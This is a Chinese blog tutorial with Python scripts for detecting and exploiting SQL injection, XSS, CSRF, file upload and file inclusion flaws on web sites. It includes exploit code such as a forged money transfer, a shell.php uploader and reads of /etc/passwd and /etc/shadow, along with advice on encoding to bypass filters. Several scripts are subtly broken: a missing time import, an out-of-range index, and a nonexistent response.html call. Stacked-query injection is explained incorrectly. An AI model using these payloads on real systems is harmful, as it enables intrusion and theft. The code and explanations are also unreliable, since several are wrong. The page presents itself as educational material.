Python渗透工具编写学习笔记:Web漏洞检测与利用脚本分享

前言

    此篇我们来学习python编写web渗透中检测与利用漏洞的工具,在本篇的最后,我们将学习漏洞的防治。坚持科技向善,勿跨越法律界限,代码仅供教学目的。初出茅庐,如有错误望各位不吝赐教。

9.1 requests库

    编写web漏洞检测与利用脚本需要具备一定的编程和网络安全知识。尤其是requests库,它是一个用来发送HTTP请求的Python库,提供了简单和直接的方式来发送各种类型的HTTP请求,包括GET、POST、PUT、DELETE等。那么我们先来复习一下requests库的基本用法:

发送GET请求: 使用requests.get(url)发送GET请求,其中url为请求的URL地址,返回一个Response对象。

import requests

response = requests.get('https://www.example.com')
print(response.text)  # 打印响应内容
print(response.status_code)  # 打印响应状态码

发送POST请求: 使用requests.post(url, data)发送POST请求,其中url为请求的URL地址,data为请求的数据。

import requests

data = {'key1': 'value1', 'key2': 'value2'}
response = requests.post('https://www.example.com', data=data)
print(response.text)  # 打印响应内容
print(response.status_code)  # 打印响应状态码

添加请求头: 使用requests.get(url, headers)requests.post(url, headers)添加请求头,其中headers为字典形式的请求头。

import requests

headers = {'User-Agent': 'Mozilla/5.0'}
response = requests.get('https://www.example.com', headers=headers)
print(response.text)  # 打印响应内容
print(response.status_code)  # 打印响应状态码

处理响应: Response对象包含了响应的内容、状态码、响应头等信息,可以使用以下属性来处理响应:

  • response.text:获取响应内容的文本形式。
  • response.content:获取响应内容的字节形式。
  • response.status_code:获取响应的状态码。
  • response.headers:获取响应头的字典形式。
  • response.json():将响应内容解析为JSON格式。
  • import requests
    
    response = requests.get('https://www.example.com')
    print(response.text)  # 打印响应内容
    print(response.status_code)  # 打印响应状态码
    print(response.headers)  # 打印响应头
    print(response.json())  # 解析响应内容为JSON格式
    

    9.2 SQL注入

         SQL注入漏洞应该算得上我们最熟悉的漏洞之一了,是一种常见的网络安全攻击技术,旨在利用应用程序对用户输入的不充分过滤或验证,向数据库注入恶意的 SQL 代码,直接操作数据库并执行自己的恶意操作。接下来我们将从SQL注入的五种类型来编写检测工具。

    9.2.1 时间盲注

        时间盲注中,攻击者利用应用程序的响应时间来判断注入的SQL语句是否成功执行。通过逐个尝试不同的条件和语句,攻击者可以逐步推断出数据库中的信息。

    以下一个Python脚本用于扫描SQL时间盲注:

    import requests
    
    # 设置目标URL和时间盲注参数
    url = "http://example.com"
    param = "id"
    
    # 设置时间盲注payload和判断条件
    payload = "' AND IF(SLEEP(5),1,0) -- "
    condition = "页面响应时间大于5秒"
    
    for i in range(1, 11):
        # 构造SQL注入payload
        inject = "' AND IF(ASCII(SUBSTRING((SELECT DATABASE()),{},1))={},SLEEP(5),1) -- ".format(i, ord('test'[i-1]))
    
        # 构造带注入payload的参数
        data = {param: inject}
    
        # 发送请求并计时
        start_time = time.time()
        response = requests.get(url, params=data)
        end_time = time.time()
    
        # 判断注入是否成功
        if (end_time - start_time) > 5:
            print("第{}个字符注入成功!".format(i))
    
        # 如果注入成功,继续判断下一个字符
        if i < 10 and (end_time - start_time) > 5:
            continue
        # 如果注入失败,直接退出循环
        elif i < 10 and (end_time - start_time) <= 5:
            print("注入失败!")
            break
        # 如果已经判断到最后一个字符,输出结果
        else:
            print("注入成功!")
            break
    

    使用时需要将URL和参数修改为目标的URL和时间盲注参数。设置payloadcondition来匹配正在尝试的注入类型和判断条件。

    脚本将自动逐个字符地发送SQL注入payload,并根据响应时间来判断注入是否成功。成功注入后,将输出相应的字符。如果注入失败,将输出提示信息。

    9.2.2 布尔盲注

        布尔盲注中,攻击者利用应用程序对SQL语句返回的布尔值进行判断,从而推断出数据库中的信息。通过构造不同的条件和语句,攻击者可以逐步推断出数据库中的数据。

    以下Python脚本,用于扫描SQL布尔盲注:

    import requests
    
    # 目标URL
    url = "http://example.com/test.php"
    
    # 布尔盲注payload
    payloads = ["' OR 1=1 -- ", "' OR 1=2 -- "]
    
    # 发送请求,根据响应判断是否存在布尔盲注
    for payload in payloads:
        # 构造请求参数
        params = {
            "username": payload,
            "password": "test"
        }
    
        # 发送POST请求
        response = requests.post(url, data=params)
    
        # 根据响应判断是否存在布尔盲注
        if "Login successful" in response.text:
            print("布尔盲注存在,payload: " + payload)
        else:
            print("布尔盲注不存在")
    

    使用时,需要将url替换为目标URL,并根据需要修改payloads列表中的注入payload。脚本将发送POST请求并检查响应中是否包含"Login successful"以判断是否存在布尔盲注。

    9.2.3 报错注入

        报错注入中,攻击者利用应用程序的错误消息来获取关于数据库结构和数据的信息。通过注入恶意的SQL语句,攻击者可以触发应用程序生成错误消息,其中包含有用的信息。

    以下Python脚本,用于扫描SQL报错注入漏洞:

    import requests
    
    def scan_sql_injection(url):
        payloads = ["' OR '1'='1'",
                    "' OR '1'='1'--",
                    "' OR '1'='1'/*",
                    "') OR '1'='1'--",
                    "') OR '1'='1'/*",
                    "') OR ('1'='1",
                    "') OR ('1'='1'--",
                    "') OR ('1'='1'/*",
                    "') OR 'a'='a",
                    "') OR 'a'='a'--",
                    "') OR 'a'='a'/*",
                    "') OR ('a'='a",
                    "') OR ('a'='a'--",
                    "') OR ('a'='a'/*"]
    
        for payload in payloads:
            full_url = url + payload
            response = requests.get(full_url)
            if "error" in response.text:
                print(f"[VULNERABLE] SQL Injection detected: {full_url}")
    
    if __name__ == "__main__":
        url = input("Enter the URL to scan: ")
        scan_sql_injection(url)
    

    运行后,程序将提示输入要扫描的URL,输入URL后程序将使用预定义的payload列表进行SQL注入测试。如果检测到SQL注入,则会输出相关信息。

    9.2.4 联合查询注入

        联合查询注入利用了应用程序中执行SQL查询语句的方式。当应用程序接收到用户的输入并构造SQL查询语句时,攻击者通过构造恶意的输入,使得应用程序在执行SQL查询时将额外的SQL语句拼接到原始查询中。这样,攻击者可以执行任意的数据库操作,如获取敏感数据、修改数据或者执行其他恶意操作。

    以下Python脚本,用于扫描SQL联合查询注入漏洞:

    import requests
    
    # 目标URL
    target_url = "http://example.com"
    
    # 扫描函数
    def scan_union_injection(url):
        # 注入语句示例
        payload = "' UNION SELECT NULL,NULL,NULL--"
    
        # 发送GET请求
        response = requests.get(url + payload)
    
        # 判断注入是否成功
        if "Error" in response.text:
            print("[+] SQL注入漏洞存在:" + url)
    
    # 调用扫描函数
    scan_union_injection(target_url)
     
    

    9.2.5 堆查询注入

        堆查询注入漏洞利用了应用程序中对堆栈(或堆)的操作不当,从而导致攻击者可以执行恶意的SQL查询语句。

    以下Python脚本,用于扫描网站的SQL注入漏洞:

    import requests
    
    # 定义目标URL
    target_url = 'http://example.com/some_page.php'
    
    # 定义注入字符串,替换通常的注入点位置
    injection_strings = ["' OR '1'='1", "' OR 'a'='a", "' OR '1'='1' LIMIT 1 --"]
    
    # 发送GET请求并检查注入漏洞
    def check_sql_injection(url, payload):
        # 构造带有注入字符串的URL
        injected_url = url + '?param=' + payload
        
        # 发送请求并获取响应
        response = requests.get(injected_url)
        
        # 检查响应中的关键字来确定是否存在注入漏洞
        if 'error' in response.text:
            print('SQL注入漏洞存在:', injected_url)
    
    # 遍历所有注入字符串进行检查
    for injection_string in injection_strings:
        check_sql_injection(target_url, injection_string)
     
    

    9.3 XSS

        XSS(跨站脚本攻击)是一种常见的 Web 安全漏洞,可以通过在用户输入的内容中注入恶意脚本,从而获取用户的敏感信息或者执行恶意操作。下面是一个简单的Python脚本,用于检测XSS漏洞:

    import requests
    
    def check_xss(url):
        payload = "<script>alert('XSS')</script>"
        
        # 构造带有payload的请求
        headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3'}
        response = requests.get(url + payload, headers=headers)
        
        # 检查响应中是否包含payload
        if payload in response.text:
            print(f"XSS漏洞存在:{url}")
        else:
            print(f"XSS漏洞不存在:{url}")
    
    # 测试代码
    if __name__ == "__main__":
        urls = ['http://example.com/', 'http://example.com/page?param=<script>alert("XSS")</script>']
        
        for url in urls:
            check_xss(url)
    

    扫描到漏洞之后,我们再来编写一个XSS 利用脚本:

    import requests
    import urllib.parse
    
    # 目标网站 URL
    target_url = 'http://example.com/login.php'
    
    # 注入的恶意脚本
    xss_payload = '<script>alert("XSS Vulnerability!");</script>'
    
    # 构造恶意脚本的请求参数
    payload = {
        'username': xss_payload,
        'password': 'password',
        'submit': 'submit'
    }
    
    # 发送 POST 请求,注入恶意脚本
    response = requests.post(target_url, data=payload)
    
    # 打印响应结果
    print(response.text)
    

    注:在实际使用中,需要根据目标网站的参数名称和注入点来修改 payload 字典的键和值。此外,还可以使用编码技术来绕过一些过滤和防御措施,例如使用 URL 编码来绕过特殊字符过滤。

    9.4 CSRF

        CSRF(跨站请求伪造)是一种web攻击方式,攻击者通过诱骗用户访问恶意网站,利用用户在已认证的网站上的身份进行伪造请求,从而执行未经用户授权的操作。这种攻击方式通常会利用一些社会工程学手段,比如诱导用户点击恶意链接、打开恶意邮件等。

    下面我们来编写一个简单的Python脚本,用于扫描网站中的CSRF漏洞:

    import requests
    
    def check_csrf(url):
        session = requests.Session()
        
        # 发送get请求获取页面的内容和cookies
        response = session.get(url)
        
        # 获取页面中的所有表单
        forms = response.html.find('form')  # 使用合适的方法获取页面中的所有表单
        
        for form in forms:
            # 检查表单是否包含csrf令牌
            csrf_token = form.find('input', {'name': 'csrf_token'})  # 使用合适的方法查找csrf令牌
            
            if csrf_token:
                # 构造POST请求,尝试提交表单数据
                payload = {
                    'username': 'admin',
                    'password': 'password',
                    'csrf_token': csrf_token[0].value,
                }
                
                response = session.post(url, data=payload)
                
                # 检查响应中是否存在CSRF保护机制
                if 'CSRF token invalid' in response.text:
                    print(f"CSRF漏洞存在:{url}")
                else:
                    print(f"CSRF漏洞不存在:{url}")
            else:
                print(f"表单中未找到CSRF令牌:{url}")
    
    # 测试代码
    if __name__ == "__main__":
        urls = ['http://example.com/', 'http://example.com/login', 'http://example.com/profile']
        
        for url in urls:
            check_csrf(url)
    

    注:此脚本只是一个简单的示例,不能保证完全检测所有的CSRF漏洞。

    下面我们来学习如何使用Python编写一个CSRF利用脚本:

    import requests
    
    # 设置目标URL和要执行的操作
    target_url = "http://example.com/vulnerable-page"
    action = "transfer-money"
    
    # 构造恶意请求的参数
    payload = {
        "amount": "10000",
        "to_account": "attacker-account"
    }
    
    # 发送恶意请求,利用CSRF漏洞执行操作
    response = requests.post(target_url, data=payload)
    
    # 检查操作是否成功
    if response.status_code == 200:
        print("CSRF exploit successful!")
    else:
        print("CSRF exploit failed.")
    

    9.5 文件上传漏洞 

        文件上传漏洞,是指攻击者利用应用程序中的文件上传功能,上传恶意文件或可执行的代码文件,从而获取服务器的控制权或实施其他恶意行为。

    以下是一个简单的Python代码示例,用于扫描网站是否存在文件上传漏洞:

    import requests
    
    def scan_vulnerable(url):
        # 尝试上传一个简单的文本文件
        files = {"file": ("test.txt", "This is a test file")}
        response = requests.post(url, files=files)
    
        # 判断上传是否成功,可根据实际情况修改判断条件
        if response.status_code == 200 and "File uploaded successfully" in response.text:
            print(f"{url} 存在文件上传漏洞")
        else:
            print(f"{url} 不存在文件上传漏洞")
    
    if __name__ == "__main__":
        url = input("请输入要扫描的网址:")
        scan_vulnerable(url)
    

    在这个例子中,我们使用了requests库来发送HTTP请求,并使用POST方法上传一个简单的文本文件。通过检查服务器的响应,判断文件上传是否成功。如果上传成功并且服务器返回了上传成功的消息,就说明存在文件上传漏洞。

    接下来我们来编写一个简单的Python脚本,用于文件上传利用:

    import requests
    
    # 设置目标URL和要上传的文件名
    target_url = "http://example.com/upload.php"
    filename = "shell.php"
    
    # 构造文件上传请求
    files = {"file": (filename, open(filename, "rb"), "multipart/form-data")}
    
    # 发送文件上传请求
    response = requests.post(target_url, files=files)
    
    # 检查上传是否成功
    if response.status_code == 200:
        print("文件上传成功!")
    else:
        print("文件上传失败!")
    

    使用时,需要将target_url替换为目标网站的文件上传接口地址,将filename替换为要上传的文件名。

    9.6 文件包含漏洞 

        文件包含漏洞,是指在Web应用程序中,存在一种未能正确过滤用户输入的漏洞,使得攻击者能够通过构造特殊的文件路径,将任意文件(包括系统文件和应用程序文件)包含到执行环境中,从而执行任意代码。

    文件包含漏洞通常会出现在动态网页脚本语言中,如PHP等。攻击者可以通过构造恶意的URL参数,将一个包含攻击代码的文件引入到页面中。当页面在服务器端解析时,攻击代码也会被执行,从而使攻击者能够控制服务器的执行环境,进而进行恶意操作。

    在Python中,我们可以使用以下代码来检测文件包含漏洞:

    import requests
    
    # 定义目标URL
    target_url = "http://example.com/page.php?page="
    
    # 定义要尝试包含的文件路径列表
    file_paths = [
        "/etc/passwd",
        "/etc/shadow",
        "/var/www/html/index.php",
        "c:\\windows\\system32\\drivers\\etc\\hosts"
    ]
    
    # 遍历文件路径列表,发送请求并打印响应结果
    for file_path in file_paths:
        url = target_url + file_path
        response = requests.get(url)
        print("Response for {}: {}".format(file_path, response.text))
    

    代码通过发送请求来尝试包含不同的文件路径,然后打印出每个文件路径对应的响应结果。这样可以检测是否存在文件包含漏洞。

    接下来我们来编写一个文件包含利用脚本:

    import requests
    
    def exploit_file_inclusion(url, file_path):
        payload = f"{url}/vulnerable_page.php?file={file_path}"
        response = requests.get(payload)
        if response.status_code == 200:
            print(response.text)
        else:
            print("Exploit failed")
    
    # 示例用法
    exploit_file_inclusion("http://example.com", "/etc/passwd")

    脚本使用requests库发送HTTP请求,利用文件包含漏洞获取目标服务器上的敏感文件(例如/etc/passwd)。需要将参数替换为目标网站的URL,将参数替换为想要获取的文件路径,urlfile_path 。

    9.7 漏洞防护

        最后,我们来使用Flask框架实现一个简单的Web应用,通过@app.before_request装饰器,对每个请求进行预处理和漏洞防护。读者可以根据实际需求,添加更多的漏洞防护规则,比如防止路径遍历、文件上传漏洞等。

    import re
    from flask import Flask, request, abort
    
    app = Flask(__name__)
    
    @app.before_request
    def filter_requests():
        # 过滤JavaScript标签
        if re.search(r'<script.*?>', request.path):
            abort(403)
    
        # 过滤SQL注入字符
        sql_injection_chars = [';', '--']
        for char in sql_injection_chars:
            if char in request.path:
                abort(403)
    
        # 过滤XSS攻击字符
        xss_chars = ['<', '>', '&']
        for char in xss_chars:
            if char in request.path:
                abort(403)
    
        # 其他漏洞防护规则...
    
    if __name__ == '__main__':
        app.run()
     
    

    注:在实际生产环境中,单纯依赖这个脚本来防护Web漏洞是不够的,因为漏洞的种类和复杂性太多。最好结合其他防护措施,如使用Web应用防火墙(WAF)等。

    好了,到这里就是今天的全部内容了,那么在这里祝各位读者们圣诞快乐!!

    作者:Knight ELeven

    物联沃分享整理
    物联沃-IOTWORD物联网 » Python渗透工具编写学习笔记:Web漏洞检测与利用脚本分享

    发表回复